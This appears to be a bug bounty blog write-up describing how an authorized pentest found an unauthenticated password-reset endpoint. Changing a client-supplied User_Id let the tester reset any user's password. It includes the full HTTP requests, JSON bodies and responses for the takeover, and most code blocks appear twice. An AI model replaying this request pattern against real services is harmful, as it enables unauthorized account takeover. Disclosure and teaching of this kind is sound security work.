August 24, 2026
I Changed One “User_Id” and the API Said “Sure” — From Password Reset to Mass Account Takeover 💀
Account takeover vulnerabilities are among the most impactful findings in web and API security assessments. Sometimes they involve complex…

By Rajdip Chavan
3 min read
Account takeover vulnerabilities are among the most impactful findings in web and API security assessments. Sometimes they involve complex authentication bypasses, token manipulation, or sophisticated exploit chains. Other times, the vulnerability comes down to one fundamental mistake: the backend trusts the client to tell it whose password should be changed.
Password reset functionality is supposed to help users who forget their passwords.
This one was a little more generous.
It was willing to reset other people's passwords too.
During an authorized API penetration test, I came across a password-reset endpoint that looked completely normal at first. A few Burp Repeater requests later, I realized the backend had essentially implemented:
Client: Hey API, I'm User 3. Change my password.
API: Any proof?
Client: No.
API: Understandable. Password changed successfully.Client: Hey API, I'm User 3. Change my password.
API: Any proof?
Client: No.
API: Understandable. Password changed successfully.What started as routine password-reset testing quickly turned into a Critical Mass Account Takeover vulnerability.
Here's how I found it.
1. It Started With a Boring Password Reset
While mapping the application's API endpoints, I found something interesting:
POST /users/resetPasswordPOST /users/resetPasswordThe request body was beautifully simple:
{
"User_Id": "3",
"New_Password": "Password@123"
}{
"User_Id": "3",
"New_Password": "Password@123"
}My pentester brain immediately noticed something.
The client was supplying:
User_Id
New_PasswordUser_Id
New_PasswordIn other words:
Here is the user whose password I want to change, and here is their new password.
That's fine if the backend verifies that I'm actually allowed to reset that account.
So the next question was obvious:
What actually authorizes this password reset?
2. Time to Remove Things Until It Breaks
One of my favorite approaches when testing authentication APIs is extremely sophisticated:
Delete security controls until something breaks.
I started looking for the usual suspects:
Authorization: Bearer <JWT>
resetToken=<token>
otp=123456
currentPassword=<password>
verificationToken=<token>Authorization: Bearer <JWT>
resetToken=<token>
otp=123456
currentPassword=<password>
verificationToken=<token>Surely at least one of these would be required.
So I removed the Authorization header.
The request became essentially:
POST /users/resetPassword HTTP/2
Host: target.example
Content-Type: application/json
{
"User_Id": "3",
"New_Password": "Password@123"
}POST /users/resetPassword HTTP/2
Host: target.example
Content-Type: application/json
{
"User_Id": "3",
"New_Password": "Password@123"
}I hit Send in Burp Repeater.
Expected:
HTTP/2 401 UnauthorizedHTTP/2 401 UnauthorizedMaybe:
{
"error": "Authentication required"
}{
"error": "Authentication required"
}Actual:
HTTP/2 200 OKHTTP/2 200 OKAnd then came the beautiful response:
{
"Status": "Success",
"Message": "New Password reset successfully"
}{
"Status": "Success",
"Message": "New Password reset successfully"
}Me:
3. Wait… Where Is the identifier?
At this point, I assumed I had missed something.
Maybe the application had previously verified something and the backend was maintaining some server-side recovery state.
So I checked again.
No: Authorization
No: OTP
No: Reset Token
No: Current Password
No: Session Cookie
The entire security decision appeared to depend on:
{
"User_Id": "3"
}{
"User_Id": "3"
}That is when things became interesting.
4. The Dangerous Parameter: User_Id
The request allowed the client to specify:
"User_Id": "3""User_Id": "3"Whenever I see identifiers like this in security-sensitive functionality, I ask:
What happens if I change it?
Classic API pentesting.
Using only authorized test accounts, I modified the identifier.
For example:
- "User_Id": "3"
+ "User_Id": "4"- "User_Id": "3"
+ "User_Id": "4"And kept:
"New_Password": "Password@123""New_Password": "Password@123"Sent the request.
The API responded:
{
"Status": "Success",
"Message": "New Password reset successfully"
}{
"Status": "Success",
"Message": "New Password reset successfully"
}Interesting.
Very interesting.
The backend logic was beginning to look suspiciously like:
const user = await User.findById(req.body.User_Id);
user.password = req.body.New_Password;
await user.save();
return "Success";const user = await User.findById(req.body.User_Id);
user.password = req.body.New_Password;
await user.save();
return "Success";Instead of something closer to:
if (!validResetToken) {
return 401;
}if (!validResetToken) {
return 401;
}Obviously, I couldn't see the actual source code, but externally the authorization behavior looked effectively equivalent.
5. Proving Account Takeover
Getting:
New Password reset successfullyNew Password reset successfullyis nice.
But a pentest finding should demonstrate impact, not just trust a cheerful API response.
So using an authorized test account, I tried logging in with the password I had supplied.
Username: test-user@example.com
Password: Password@123Username: test-user@example.com
Password: Password@123Login successful.
At this point the vulnerability chain was confirmed:
Known User ID
│
▼
POST /users/resetPassword
│
▼
No Authentication
│
▼
No OTP
│
▼
No Reset Token
│
▼
Attacker chooses New_Password
│
▼
Password Changed
│
▼
Login as Victim
│
▼
💀 ACCOUNT TAKEOVERKnown User ID
│
▼
POST /users/resetPassword
│
▼
No Authentication
│
▼
No OTP
│
▼
No Reset Token
│
▼
Attacker chooses New_Password
│
▼
Password Changed
│
▼
Login as Victim
│
▼
💀 ACCOUNT TAKEOVERThat changed the finding from:
"Password reset endpoint missing authentication."
to:
"Unauthenticated arbitrary password reset leading to Account Takeover."
Much bigger problem.
6. Conclusion and Reporting
I reported this vulnerability to a private bug bounty program, where it was validated as a Critical account takeover vulnerability and awarded a Good bounty.
This finding was a good reminder that some of the most severe vulnerabilities don't always require complicated exploitation techniques. In this case, simply manipulating a client-controlled User_Id allowed an attacker to reset another user's password without proper authentication or verification, potentially leading to mass account takeover.
7. See you Again